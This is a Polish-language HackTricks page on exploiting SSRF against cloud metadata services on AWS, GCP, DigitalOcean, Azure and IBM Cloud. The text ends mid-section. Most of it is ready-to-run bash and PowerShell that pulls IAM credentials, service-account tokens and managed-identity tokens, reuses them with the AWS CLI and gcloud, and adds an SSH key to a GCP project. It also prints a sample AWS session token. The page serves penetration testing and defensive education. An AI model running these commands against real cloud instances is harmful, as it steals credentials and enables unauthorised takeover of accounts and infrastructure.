613 lines
32 KiB
Markdown

# Cloud SSRF
{{#include ../../banners/hacktricks-training.md}}
## AWS
### Wykorzystywanie SSRF w środowisku AWS EC2
**Endpoint metadanych** można uzyskać z wnętrza każdej maszyny EC2 i oferuje interesujące informacje na jej temat. Jest dostępny pod adresem: `http://169.254.169.254` ([informacje o metadanych tutaj](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Istnieją **2 wersje** endpointu metadanych. **Pierwsza** pozwala na **dostęp** do endpointu za pomocą **żądań GET** (więc każdy **SSRF może to wykorzystać**). Dla **wersji 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musisz poprosić o **token**, wysyłając **żądanie PUT** z **nagłówkiem HTTP**, a następnie użyć tego tokena, aby uzyskać dostęp do metadanych z innym nagłówkiem HTTP (więc jest **bardziej skomplikowane do wykorzystania** z SSRF).
> [!CAUTION]
> Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoków równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2.
>
> Ponadto, **IMDSv2** również **zablokuje żądania o token, które zawierają nagłówek `X-Forwarded-For`**. Ma to na celu zapobieżenie dostępowi do niego z niewłaściwie skonfigurowanych proxy odwrotnych.
Możesz znaleźć informacje o [endpointach metadanych w dokumentacji](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). W poniższym skrypcie uzyskuje się interesujące informacje z niego:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Jako **publicznie dostępny przykład ujawnionych poświadczeń IAM** możesz odwiedzić: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Możesz również sprawdzić publiczne **poświadczenia bezpieczeństwa EC2** w: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Następnie możesz wziąć **te poświadczenia i użyć ich z AWS CLI**. To pozwoli ci zrobić **wszystko, co ta rola ma uprawnienia** do zrobienia.
Aby skorzystać z nowych poświadczeń, musisz utworzyć nowy profil AWS, taki jak ten:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Zauważ **aws_session_token**, jest to niezbędne do działania profilu.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) może być użyty z odkrytymi poświadczeniami, aby dowiedzieć się o swoich uprawnieniach i spróbować je eskalować.
### SSRF w AWS ECS (usługa kontenerowa) poświadczenia
**ECS** to logiczna grupa instancji EC2, na których możesz uruchomić aplikację bez konieczności skalowania własnej infrastruktury zarządzania klastrem, ponieważ ECS zarządza tym za Ciebie. Jeśli uda Ci się skompromitować usługę działającą w **ECS**, **punkty końcowe metadanych zmieniają się**.
Jeśli uzyskasz dostęp do _**http://169.254.170.2/v2/credentials/\<GUID>**_, znajdziesz poświadczenia maszyny ECS. Ale najpierw musisz **znaleźć \<GUID>**. Aby znaleźć \<GUID>, musisz odczytać zmienną **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** wewnątrz maszyny.\
Możesz być w stanie to odczytać, wykorzystując **Path Traversal** do `file:///proc/self/environ`\
Wspomniany adres http powinien dać Ci **AccessKey, SecretKey i token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!TIP]
> Zauważ, że w **niektórych przypadkach** będziesz mógł uzyskać dostęp do **metadanych instancji EC2** z kontenera (sprawdź ograniczenia TTL IMDSv2 wspomniane wcześniej). W tych scenariuszach z kontenera możesz uzyskać dostęp zarówno do roli IAM kontenera, jak i roli IAM EC2.
### SSRF dla AWS Lambda
W tym przypadku **poświadczenia są przechowywane w zmiennych środowiskowych**. Aby uzyskać do nich dostęp, musisz uzyskać dostęp do czegoś takiego jak **`file:///proc/self/environ`**.
**Nazwa** **interesujących zmiennych środowiskowych** to:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Ponadto, oprócz poświadczeń IAM, funkcje Lambda mają również **dane zdarzeń, które są przekazywane do funkcji, gdy jest uruchamiana**. Dane te są udostępniane funkcji za pośrednictwem [interfejsu uruchomieniowego](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) i mogą zawierać **wrażliwe** **informacje** (jak w **stageVariables**). W przeciwieństwie do poświadczeń IAM, te dane są dostępne przez standardowy SSRF pod **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Zauważ, że **poświadczenia lambda** znajdują się w **zmiennych środowiskowych**. Jeśli więc **ślad stosu** kodu lambda drukuje zmienne środowiskowe, możliwe jest **wykradzenie ich, wywołując błąd** w aplikacji.
### SSRF URL dla AWS Elastic Beanstalk
Pobieramy `accountId` i `region` z API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Następnie pobieramy `AccessKeyId`, `SecretAccessKey` i `Token` z API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Następnie używamy poświadczeń z `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP
Możesz [**znaleźć tutaj dokumentację na temat punktów końcowych metadanych**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
### URL SSRF dla Google Cloud
Wymaga nagłówka HTTP **`Metadata-Flavor: Google`** i możesz uzyskać dostęp do punktu końcowego metadanych za pomocą następujących adresów URL:
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Interesujące punkty końcowe do wydobywania informacji:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta nie wymaga nagłówka w tej chwili (dzięki Mathiasowi Karlssonowi @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> Aby **użyć wyekstrahowanego tokena konta usługi** możesz po prostu zrobić:
>
> ```bash
> # Via env vars
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```
### Dodaj klucz SSH
Wyodrębnij token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Sprawdź zakres tokena (za pomocą poprzedniego wyniku lub uruchamiając poniższe)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Teraz wypchnij klucz SSH.
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### Cloud Functions
Endpoint metadanych działa tak samo jak w VM, ale bez niektórych punktów końcowych:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean
> [!WARNING]
> Nie ma takich rzeczy jak AWS Roles czy GCP service account, więc nie oczekuj, że znajdziesz dane uwierzytelniające bota metadanych
Dokumentacja dostępna pod adresem [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure
### Azure VM
[**Dokumentacja** tutaj](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
- **Musi** zawierać nagłówek `Metadata: true`
- Nie może **zawierać** nagłówka `X-Forwarded-For`
> [!TIP]
> Azure VM może mieć przypisaną 1 tożsamość zarządzaną przez system i kilka tożsamości zarządzanych przez użytkownika. Co zasadniczo oznacza, że możesz **podszywać się pod wszystkie tożsamości zarządzane przypisane do VM**.
>
> Podczas żądania tokena dostępu do punktu końcowego metadanych, domyślnie usługa metadanych użyje **tożsamości zarządzanej przypisanej przez system** do wygenerowania tokena, jeśli istnieje jakakolwiek tożsamość zarządzana przypisana przez system. W przypadku, gdy istnieje tylko **JEDNA tożsamość zarządzana przypisana przez użytkownika**, to ta będzie używana domyślnie. Jednak w przypadku braku tożsamości zarządzanej przypisanej przez system i istnienia **wielu tożsamości zarządzanych przypisanych przez użytkownika**, usługa metadanych zwróci błąd wskazujący, że istnieje wiele tożsamości zarządzanych i konieczne jest **określenie, którą użyć**.
>
> Niestety nie mogłem znaleźć żadnego punktu końcowego metadanych wskazującego wszystkie MI przypisane do VM, więc odkrycie wszystkich przypisanych tożsamości zarządzanych do VM może być trudnym zadaniem z perspektywy Red Team.
>
> Dlatego, aby znaleźć wszystkie przypisane MI, możesz zrobić:
>
> - Uzyskaj **przypisane tożsamości za pomocą az cli** (jeśli już skompromitowałeś główny w tenant Azure)
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - Uzyskaj **przypisane tożsamości** używając domyślnej przypisanej MI w metadanych:
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Uzyskaj token z domyślnej MI
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Uzyskaj potrzebne szczegóły
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Spróbuj uzyskać przypisane MI
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Uzyskaj wszystkie** zdefiniowane tożsamości zarządzane w tenant i **brute force**, aby sprawdzić, czy którakolwiek z nich jest przypisana do VM:
>
> ```bash
> az identity list
> ```
> [!OSTRZEŻENIE]
> W żądaniach tokenów użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać tożsamość zarządzaną, którą chcesz użyć ([**dokumentacja**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żadna, to **domyślna MI będzie używana**.
{{#tabs}}
{{#tab name="Bash"}}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{{#endtab}}
{{#tab name="PS"}}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{{#endtab}}
{{#endtabs}}
> [!WARNING]
> Zauważ, że punkt końcowy **`http://169.254.169.254/metadata/v1/instanceinfo` nie wymaga nagłówka `Metadata: True`**, co jest świetne do pokazania wpływu na luki SSRF w Azure, gdzie nie możesz dodać tego nagłówka.
### Usługi Azure App & Functions oraz Konta Automatyzacji
Z **env** możesz uzyskać wartości **`IDENTITY_HEADER`** i **`IDENTITY_ENDPOINT`**. Możesz je wykorzystać do uzyskania tokena do komunikacji z serwerem metadanych.
Najczęściej chcesz uzyskać token dla jednego z tych zasobów:
- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
- [https://graph.microsoft.com](https://graph.microsoft.com/)
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> W żądaniach tokena użyj dowolnego z parametrów `object_id`, `client_id` lub `msi_res_id`, aby wskazać zarządzaną tożsamość, którą chcesz użyć ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Jeśli żaden, **zostanie użyta domyślna MI**.
{{#tabs}}
{{#tab name="Bash"}}
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
```
{{#endtab}}
{{#tab name="PS"}}
```bash
# Define the API version
$API_VERSION = "2019-08-01"
# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}
# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"
# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"
# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"
# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"
# Using oneliners
## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token
## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
```
{{#endtab}}
{{#endtabs}}
## IBM Cloud
> [!WARNING]
> Zauważ, że w IBM domyślnie metadane nie są włączone, więc możliwe, że nie będziesz mógł uzyskać do nich dostępu, nawet jeśli jesteś w maszynie wirtualnej IBM cloud.
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
